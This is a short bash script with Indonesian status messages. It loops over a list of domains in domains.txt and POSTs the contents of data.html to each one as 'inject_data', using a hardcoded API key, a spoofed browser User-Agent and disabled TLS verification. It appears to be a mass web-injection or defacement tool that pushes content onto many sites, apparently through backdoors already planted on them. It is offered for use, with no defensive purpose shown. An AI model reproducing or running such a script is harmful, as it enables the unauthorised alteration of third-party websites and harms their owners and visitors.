#!/bin/bash

API_KEY="xA29bf0WajWvOpUjqeWYaeFQgIdV1UWM"
DATA=$(cat data.html)

while IFS= read -r domain; do
    if [ -z "$domain" ]; then
        continue
    fi
    
    echo "▶️ Injecting ke $domain..."
    
    response=$(curl -s -k -X POST \
        -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
        -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
        -H "Accept-Language: en-US,en;q=0.5" \
        -H "Accept-Encoding: gzip, deflate, br" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -d "inject_data=$DATA" \
        -d "api_key=$API_KEY" \
        "https://$domain/")
    
    echo "   Response: $response"
    echo "---"
    
done < domains.txt

echo "✅ SELESAI!"